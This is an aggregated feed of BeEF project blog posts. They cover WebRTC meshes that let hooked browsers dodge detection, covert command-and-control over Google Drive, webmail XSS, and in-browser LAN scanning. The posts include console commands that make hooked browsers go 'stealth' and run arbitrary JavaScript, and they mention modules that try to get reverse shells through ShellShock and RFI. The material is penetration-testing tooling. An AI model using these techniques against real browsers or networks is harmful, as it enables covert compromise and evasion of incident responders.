Unfortunately, as the Kali GUI doesn't present the user with the ability to stop BeEF easily you have to stop the service manually by running: service beef-xss stop

Keeping Up to Date

To eliminate known issues and bugs, it's important to keep Kali and BeEF packages up to date. You can update both through the package manger by running apt-get update; apt-get upgrade

Known Issues

There are a small number of known issues running BeEF under the Kali distribution.

The most frequently encountered issue occurs when Kali loads the BeEF Admin GUI in your web browser when you start BeEF. We have found that the Firefox page often loads before BeEF has finished starting resulting in a 'server not found' error. You should be able to reload the page after a few moments to resolve the issue.

Also, we are currently aware of issues with some dependancies and ARM architectures. This has now been fixed, you can update to a working version by running apt-get update; apt-get upgrade 

Have any issues with Kali BeEF or suggestions? Please let us know on Twitter at @beefproject or on github!
↧

Hooked-Browser Meshed-Networks with WebRTC (Kiwicon 2014) - Part 1

January 6, 2015, 9:55 pm
$
0
0
Hi All, @xntrik here from sunny Australia. I hope you’ve all had a good New Year's and are ready to kick browser hacking into high gear for 2015. I had a thought that inspired me, and I wanted to share it here.

What if, to avoid tracking our post-exploitation communication back to our BeEF server, we were able to hook a bunch of browsers within an organisation, and make them talk to each other, instead of talking to our BeEF server? Perhaps we could keep one as the data channel (controlling peer)?

The answer is WebRTC. I recently had an amazing opportunity to present this at Kiwicon 2014, and I was keen to get the code into BeEF. This blog post provides a brief summary of WebRTC and how it works. Since there's quite a bit of ground to cover, this will be the first of a two part series.


Retaining post-exploitation communication with hooked-browsers is one of the more interesting issues with BeEF.

By default, BeEF uses XMLHttpRequest objects to poll to your BeEF server every 5 seconds. The logic is in the updater.js file of the core BeEF JavaScript client. It executes a setTimeout() function call that executes beef.updater.get_commands(), requesting the hook.js file from the BeEF server.

BeEF has options to use the WebSocket protocol as well, which shifts the comms from a polling mechanism to a more bi-directional streaming method of sending and receiving data between the server and browsers. Other more esoteric options are also being investigated, such as the use of DNS channels.

One of the issues with these methods is, all of your communication channels go back to the BeEF server. There are methods available to try and hide or obfuscate the presence of your BeEF server. But, most of these will still lead back to your BeEF Server eventually. For example, you could:

  • run multiple BeEF servers,
  • run servers with multiple interfaces, 
  • run multiple proxies pointing to your BeEF server, 
  • use reduced polling periods, 
  • use JavaScript obfuscation (which may help, but not much at the network layer), or  
  • use TLS encapsulation (similar issue, comms are still being sent to the BeEF server). 

If you're targeting a wide variety of targets, having things track back to your BeEF server may not matter so much.  If you're targeting a single organisation, though, this information is very useful to incident responders. If they detect one browser talking to your BeEF server, they'll very quickly spot the others. (This is still a big IF. As of today, no AV engines are detecting the stock-standard, un-obfuscated hook.js .. which is not altogether that surprising).

Virustotal report for stock hook.js
Thanks to those clever folks over at Google, Mozilla and Opera, we have an HTML5 technology to help us: WebRTC. WebRTC was initially intended to provide peer-to-peer communications for use-cases such as p2p video streaming. Due to bandwidth requirements, it's often better to provide video streaming between peers, instead of bouncing through servers. Another feature, apart from video streaming, is the provision of a data channel. This data channel works a little bit like WebSockets, in that it's event-driven and bi-directional. This is exactly the feature that we can use in BeEF to peer hooked browsers together.

The WebRTC Extension within BeEF is currently disabled by default. But, it's easy enough to enable. The extension provides the ability to have hooked browsers communicate with one another, using a single controlling peer as a data channel. The extension has been tested on Firefox 34.0.5 and Chrome 39.0.2171.95 (and Chrome on Android too!). In part two of this series, we’ll discuss some of the underlying JavaScript and how to use the extension.
↧
↧

Hooked-Browser Meshed-Networks with WebRTC (Kiwicon 2014) - Part 2

January 26, 2015, 6:09 pm
$
0
0
In Part 1, we introduced you to BeEF's WebRTC extension as a solution for avoiding tracking of post-exploitation communication back to our BeEF server. In this post, we'll talk more about how this can be used during penetration testing. This will include further information about the extension and usage details for the console and RESTful API.

One of the pre-requisites of WebRTC is the ability for peers to share Session Description Protocol (SDP) signaling messages between each other. This nominates what TCP/UDP ports are available to receive data, video and audio channels. The WebRTC spec does NOT dictate how these signaling messages are passed between peers. So, we've implemented a signaling channel within BeEF - hence, you have to hook the browsers at least once.

Once signaling has been established, and the peers (1 to 1) are established, there are new JavaScript methods available to send messages to each other. If the peers are on the same subnet, they will in fact be sending DTLS (Datagram TLS) messages between each other directly over either TCP or UDP. If they're separated by Firewalls/NAT devices, there are methods available to WebRTC to get around this too.

A quick example. If browser 1 and 2 are peered, the following JavaScript will send a data channel message from browser 1 to browser 2:
beefrtcs[2].sendPeerMsg('Hi!');

Within beef.webrtc are event handlers for these messages. The following logic is currently in place:
  • If a peer receives a message of '!gostealth' - It will STOP talking to BeEF, and instead start polling back to its peer with a heartbeat. At this point, the browser will cease sending HTTP GET requests to the BeEF server, although is still peer-connected to another hooked-browser.
  • If a peer receives a message of '!endstealth' - It will come out of stealth, and start talking to BeEF again, but will still maintain the peer channel.
  • If a peer receives a message of '%<JavaScript>' - It will execute the JavaScript - sending any return values back to its peer (Not to BeEF directly), once this message is received it will then be sent back to BeEF.
  • If a peer is STEALTHED and receives any other message, it will simply replay the text back to the peer that stealthed made it go into stealth. Otherwise, it will send the message back to BeEF.
    If you enable the WebRTC extension in BeEF, this functionality is available through the interactive console, and the RESTful API. 

    Console usage:

    BeEF> rtcgo 1 2

    Will connect online browser 1 to 2. After connection, you will see event messages in the log (particularly if you started beef with -v)

    BeEF> rtcgo 1 2 true

    As above, but will print verbose messages in the clients' consoles

    BeEF> rtcstatus 1

    Will check the RTC statuses of the browser and its peers

    BeEF> rtcmsg 1 2 "Hi browser 2 .. from browser 1"

    Will tell browser 1 to send a datachannel message to browser 2

    This will simply send a text message from 1 to 2, when 2 receives the message, it will send it back to BeEF and display in the log. 

    There are a few custom datachannel message commands that are implemented within the client-side JS

    BeEF> rtcmsg 1 2 !gostealth

    This will tell browser 1 to command browser 2 to go into a stealth mode, which will make it stop talking to beef but remain connected to each other via WebRTC. Browser 2 will occasionally send a heartbeat back to browser 1 - which will be displayed in the beef log.

    BeEF> rtcmsg 1 2 "%return window.prompt(\"test\");"

    This will tell browser 1 to command browser 2 to execute the JavaScript, and return the value back to browser 1, who will then send it back to the beef log. This is especially useful in stealth mode, as you can still control the browser even though it's not talking to beef.

    BeEF> rtcmsg 1 2 !endstealth

    Will make browser 1 command browser 2 to come out of stealth, and will start talking to beef again.

    While a browser is stealthed, it can't be seen from beef, and can't be used as the source of RTC messages (because these are passed to the browser via the hook.js polling process).

    The RESTful API calls are similar and examples exist within extensions/webrtc/rest/webrtc.rb file. Functions include:
    GET /api/webrtc/status/:id
    POST /api/webrtc/go {"from":1,"to":2}
    And the video demo is available https://www.youtube.com/watch?v=pLC3hbUvhoE:


    I'll be capturing some of this information within the Wiki soon as well - https://github.com/beefproject/beef/wiki/WebRTC-Extension

    Thanks for all your help and inspiration browser-peeps!

    -@xntrik
    ↧

    The email that's watching you

    April 17, 2015, 7:19 pm
    $
    0
    0
    Today's post contributed by Anthony Piron and Bart Leppens

    Cross-site Scripting (XSS) is probably the most common security vulnerability in web applications. Nevertheless, the impact of XSS is still seriously underestimated by many people and even major companies. The CVE-scores given for Cross-Site Scripting issues are low on average. But an adversary doesn't care about scores if Cross-site Scripting vulnerabilities will make his dreams come true.

    The impact of Cross-site Scripting in webmail applications does not differ from those in regular web applications. However, mail infrastructure is a top-notch target for a Cross-Site Scripting (XSS) attack.

    We released a paper that explains why Cross-Site Scripting in webmail applications is a serious issue. The paper is called "The email that is watching you" (https://bmantra.github.io/publications/the-email-that-is-watching-you.pdf)

    For some of the attacks described in this paper we have created modules in BeEF. The following video demonstrates exploitation of IBM iNotes with BeEF using CVE-2014-0913 as described in our paper:



    We hope that our paper and this video prove that Cross-Site Scripting is not merely an anecdotical thing, but a real-world attack vector with serious consequences.

    -------------------------------------------
    Anthony Piron

    Anthony has been an ICT professional for far too long: 15 years. He has worked non-exhaustively as a developer, dev ops, monitoring engineer, network specialist, project leader, and division manager. He has witnessed numerous foreseeable security fiascos. In his free time, he likes reading about and experimenting in the domains of computer science, hacking, security and mathematics.

    Bart Leppens

    Bart is an IT professional with over 10 years of experience with a strong focus on security. During his free time he spends a fair amount of time on (application) security. He likes contributing to the BeEF project and attending security conferences. Bart is not afraid of assembly code.
    ↧
    Search

    Hooked Browser Network with BeEF and Google Drive

    January 22, 2016, 9:31 am
    $
    0
    0
    Today's guest post is brought to you by:

    Denis Kolegov (@dnkolegov)
    Oleg Broslavsky(@ovbroslavsky)
    Nikita Oleksov (@neoleksov)

    Hello All. In this post, we present implementation of a hooked browser network based on BeEF and the Google Drive service.

    First, we would like to introduce ourselves. We are researchers in the Information Security and Cryptography Department of Tomsk State University located in Tomsk, Russia.

    Our team takes part in the BeEF project by sometimes developing experimental features. We implemented DNS and ETag covert timing channels modules and extensions, modules for attacking BIG-IP devices. Our ETag covert timing channels research took 10th place in the WhiteHat Security Top 10 Web Hacking techniques of 2014.


    Now, let's talk about why we really need to communicate with hooked browsers via Google Drive and how we can implement it.
    One day we read Christian "@xntrik" Frichot's post about his implementation of Hooked-Browser Meshed-Networks with WebRTC in BeEF. The main purpose of that technique is to avoid detection and tracking of post-exploitation communication of hooked browsers (zombies) with BeEF command and control server.

    Christian's approach is based on using of Web Real-Time Communications (WebRTC) technology to mesh all those hooked browsers, funnelling all BeEF commands through a single sacrificial beach-head. The main drawback is that BeEF server still must communicate with this beach-head browser.

    We propose to use an alternate approach against tracking of BeEF server and its communications with zombies.
    The main idea is to use storage covert     channel communications over known and popular cloud web services, for example Google Drive. Using these services as shared resources between BeEF server and hooked browsers can meet our need. In this case, there is no direct communication between BeEF server and zombies: All of them communicate only with Google API servers.
    Conceptually, this approach is not new. There are other tools (e.g. Gcat and Twittor) that use known and trusted services as command and control servers. But, so far, no one has blogged to the BeEF blog about using Google Drive.

    The current implementation of this extension requires the custom version of BeEF.

    We are also planning to implement this extension for the main branch of BeEF without any restrictions or additional requirements.


    We recently presented our research at the Zero Nights 2015 conference. The slides are here: http://www.slideshare.net/dnkolegov/zn27112015


    Below is the video demonstrating how this feature works: 

    The PoC is available on Github: https://github.com/tsu-iscd/beef-drive.
    ↧

    Mapping your LAN from a web browser: Introducing the Network extension for BeEF

    June 8, 2016, 7:26 am
    $
    0
    0
    Today's blog post brought to you by Brendan Coles:

    How many tabs do you have open in your browser right now? For how long have they been open - more than 10 minutes? Any one of them could have mapped your local networks and launched exploits against your outdated or misconfigured software.

    From the BeEF laboratory comes a new extension for BeEF - the Network extension. Tying together many of the existing network discovery modules[1] to assist with mapping and exploiting hosts on a hooked browser's local area networks, this extension adds a RESTful interface and adds a pretty interface to the web UI for interacting with a zombie's local networks.

    Network Map of BeEF attack. BeEF outside the firewall, hooked browser behind the firewall among multiple other hosts.
    Network Map of BeEF attack


    Thanks to WebRTC (and the Get Internal IP (WebRTC)[2] module by @xntrik based on work by @natevw) it's easy to grab the local IP address for all network interfaces on the hooked host (including VPN interfaces) in Firefox and Chrome. The module adds the internal IP addresses to the network map[3][4] automatically.

    Listing of hosts in the BeEF GUI. 127.0.0.1 highlighted, last seen for five additional hosts in 127 and 10 ranges
    BeEF Host Listing
    Identifying web servers on the zombie's local network is easy too. All network hosts identified during scanning are added to the network map. Likewise, identified hosts and services are also added to the Hosts and Services tabs respectively.

    Options are: Get Internal IP Address, Discover Proxies, Discover Routers, Discover Web Servers (submenu), Fingerprint HTTP (submenu), CORS Scan (submenu), and Flash Cross-Origin Scan (submenu)
    BeEF Host interaction menu

    Right-click context menus in the Host and Services tabs offer a few options for discovery of hosts and services. Each option scans a hard-coded list of common LAN IP addresses or a user-supplied target IP range.

    Two cross-origin scanners exist to detect overly permissive cross-origin policies:

    • CORS Scan wraps the Cross-Origin Scanner (CORS) module which sends CORS requests and returns the IP address, port, HTTP status code, page title and page contents for each web server identified with a permissive CORS policy.
    • Similarly, Flash Cross-Origin Scan wraps the Cross-Origin Scanner (Flash) module (based on CrossSiteContentHijacking[5] by Soroush Dalili) which sends requests using Flash and returns the IP address, port, page title and page contents for each web server identified with a permissive flash cross-origin policy.


    A few other options are available to identify network services and devices:

    • Discover Web Servers wraps the Get HTTP Servers (Favicon) module which loads favicon images from predictable paths (/favicon.ico, /favicon.png, /images/favicon.ico, /images/favicon.png). Web servers are identified if the image is loaded succesfully. However, be aware that this technique may be noticed by the user if any of the hosts pop a 401 Authentication Required prompt. Fortunately, favicon images are typically not protected by authentication.
    • Discover Routers wraps the Fingerprint Routers module (a port of jslanscanner by Gareth Heyes) which attempts to identify routers on known common router IP addresses. However, be aware that this technique may be noticed by the user if any of the hosts pop a 401 Authentication Required prompt.
    • Fingerprint HTTP wraps the Network Fingerprinting module which uses a database of signatures to fingerprint network services based on default image paths. However, be aware that this technique may be noticed by the user if any of the hosts pop a 401 Authentication Required prompt.

    Services shown for 10. and 172. addresses, including ports 80 and 8080, with Protocol and Type identified (e.g. Apache 2.x, HTTP Server (CORS))
    BeEF Services Window

    Below are a few autorun rules that exist, which make use of the new autorun rules engine (thanks @antisnatchor) to automate scanning and fingerprinting the LAN for Firefox and Chrome zombies. Each rule grabs the internal IP address with WebRTC and scans the zombie's local subnet. Simply copying the desired ARE rules from the arerules directory to arerules/enabled should be enough to get started.

    • https://github.com/beefproject/beef/blob/master/arerules/lan_cors_scan_common.json
    • https://github.com/beefproject/beef/blob/master/arerules/lan_cors_scan.json
    • https://github.com/beefproject/beef/blob/master/arerules/lan_fingerprint_common.json
    • https://github.com/beefproject/beef/blob/master/arerules/lan_fingerprint.json
    • https://github.com/beefproject/beef/blob/master/arerules/lan_flash_scan_common.json
    • https://github.com/beefproject/beef/blob/master/arerules/lan_flash_scan.json
    • https://github.com/beefproject/beef/blob/master/arerules/lan_http_scan_common.json
    • https://github.com/beefproject/beef/blob/master/arerules/lan_http_scan.json
    • https://github.com/beefproject/beef/blob/master/arerules/lan_ping_sweep.json
    • https://github.com/beefproject/beef/blob/master/arerules/lan_ping_sweep_common.json


    A REST interface also exists[6] with some examples[7] if you wish to script attacks against the LAN.

    No functionality exists for automated exploitation of identified devices or services as yet, however a couple of spray-and-pray options exist:


    • ShellShock Scan attempts to gain a reverse shell by exploiting ShellShock using a list of ~400 known vulnerable CGI paths (from Shocker [8] by Tom Watson). Given the frequency with which embedded devices are usually updated (which is to say: not at all), this can be surprisingly effective.
    • RFI Scan attempts to gain a reverse shell by exploiting remote file inclusion vulnerabilities using RSnake's list of 2000+ known vulnerable RFI paths.

    Identified hosts and services are also logged to the console if debugging is enabled. Some example console output is shown below. Note that hosts were identified in the wired LAN subnets 10.1.1.0/24 and 10.0.0.0/24 even though the hooked browser was running in a VM (172.16.191.0/24).
    [ 1:11:53][>] Hooked browser has network interface 172.16.191.135
    [ 1:11:53][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:1, mod: 83, name:'Get Internal IP WebRTC']
    [ 1:11:53][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:1, mod: 83, name:'Get Internal IP WebRTC']
    [ 1:12:01][>] Hooked browser found host 172.16.191.1
    [ 1:12:01][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:01][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:01][>] Hooked browser found host 172.16.191.2
    [ 1:12:01][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:01][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:06][>] Hooked browser found host 172.16.191.1
    [ 1:12:06][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:06][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:06][>] Hooked browser found host 172.16.191.2
    [ 1:12:06][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:06][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:29][>] Hooked browser found host 10.0.0.1
    [ 1:12:29][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:3, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:29][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:3, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:30][>] Hooked browser found host 10.1.1.1
    [ 1:12:30][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:3, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:30][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:3, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:35][>] Hooked browser found host 10.1.1.1
    [ 1:12:35][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:3, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:12:35][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:3, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:22:40][>] Hooked browser found HTTP server 172.16.191.129:80
    [ 1:22:40][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:22:40][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:22:44][>] Event: 652.706s - [Blur] Browser window has lost focus.
    [ 1:23:00][>] Hooked browser found HTTP server 172.16.191.133:80
    [ 1:23:00][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:23:00][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:23:06][>] Hooked browser found host 172.16.191.133
    [ 1:23:06][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:23:06][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:23:11][>] Hooked browser found host 172.16.191.135
    [ 1:23:11][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:23:11][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:23:16][>] Hooked browser found host 172.16.191.135
    [ 1:23:16][>] Event: Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    [ 1:23:16][*] Hooked browser [id:1, ip:172.16.191.135] has executed instructions (status: SUCCESS) from command module [cid:2, mod: 60, name:'Cross-Origin Scanner (Flash)']
    LAN scanning with the default settings is slow, as the modules are configured to take into account high-latency networks, background network traffic and the browser's maximum connection capacity. The timing for each module can be tweaked, as each module has options for controlling the number of simultaneous workers, wait time between requests and request timeout. The default settings should be sufficient for use in high-latency networks, such as wifi.
    This module scans an IP range to locate web servers with a permissive Flash cross-origin policy. The HTTP response is returned to BeEF. Note: Set the IP address range to 'common' to scan a list of common LAN addresses. This module uses ContentHijacking.swf by Soroush Dalili (@irsdi). Id: 59, Scan IP range (field), Ports (field), Workers (field), Timeout for each request (field), Execute button
    Module Options for Cross-Origin Scanner (Flash)
    Have fun mapping your LAN from a browser!

    ---

    [1] https://github.com/beefproject/beef/wiki/Network-Discovery
    [2] https://github.com/beefproject/beef/tree/master/modules/host/get_internal_ip_webrtc
    [3] https://github.com/beefproject/beef/wiki/Network-Discovery#admin-ui
    [4] https://github.com/beefproject/beef/pull/1178
    [5] https://github.com/nccgroup/CrossSiteContentHijacking
    [6] https://github.com/beefproject/beef/blob/master/extensions/network/rest/network.rb
    [7] https://github.com/beefproject/beef/blob/master/tools/rest_api_examples/network
    [8] https://github.com/nccgroup/shocker
    ↧
    ↧
    Viewing all 37 articles
    Browse latest View live
    Search